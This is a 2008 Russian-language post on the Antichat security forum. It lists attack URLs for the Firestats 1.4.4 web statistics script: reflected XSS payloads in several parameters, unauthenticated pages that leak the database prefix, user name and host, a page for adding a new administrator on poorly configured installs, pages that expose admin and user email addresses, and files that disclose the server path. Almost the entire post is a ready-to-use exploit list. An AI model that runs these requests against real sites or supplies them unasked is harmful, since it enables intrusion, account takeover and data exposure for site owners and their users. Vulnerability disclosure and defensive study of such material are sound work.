Энциклопедия уязвимых скриптов

#11

25.06.2008, 20:16

Qwazar

Leaders of Antichat - Level 4

Регистрация: 02.06.2005

Сообщений: 1,411

Провел на форуме:
10605912

Репутация: 4693

Статистика/счётчик Firestats 1.4.4-stable:

XSS:

Код:

http://site/stats/php/window-delete-site.php?site_id=')"><script>alert(/XSS/)</script>
http://site/stats/php/window-new-edit-site.php?site_id="><script>alert(/XSS/)</script>
http://site/stats/lib/ip2c/test-ip.php?ip=<script>alert(/XSS/)</script>

Возможность узнать префикс БД, имя пользователя БД и хост:

Код:

http://site/stats/php/page-database.php
http://site/stats/tools.php?file_id=system_test (только префикс)

Если админ криворукий, можно добавить новго админа тут:

Код:

http://site/stats/tools.php?file_id=manage_users

Узнать мыло админа и юзеров (не баг, но поидее этого не должно быть):

Код:

http://site/stats/php/page-users.php
http://site/stats/php/window-edit-user.php?user_id=1

Раскрытие пути:

Код:

stats/integration/mediawiki/firestats-mediawiki.php
stats/php/tabbed-pane.php
stats/php/tools-menu.php
stats/firestats-wordpress.php
stats/php/ip2country.php
stats/php/footer.php
status.php
stats/php/page-stats.php
stats/login.php
stats/php/page-add-admin.php
stats/firestats-gregarius.php
stats/lib/ip2c/benchmark.php
stats/lib/ezsql/mysql/ez_sql_mysql.php

З.Ы.
Папка со статистикой может называться и не stats. Багов больше, толком не рылся, это то, что сразу на глаза попалось.

__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 26.06.2008 в 12:43..

ANTICHAT — форум по информационной безопасности, OSINT и технологиям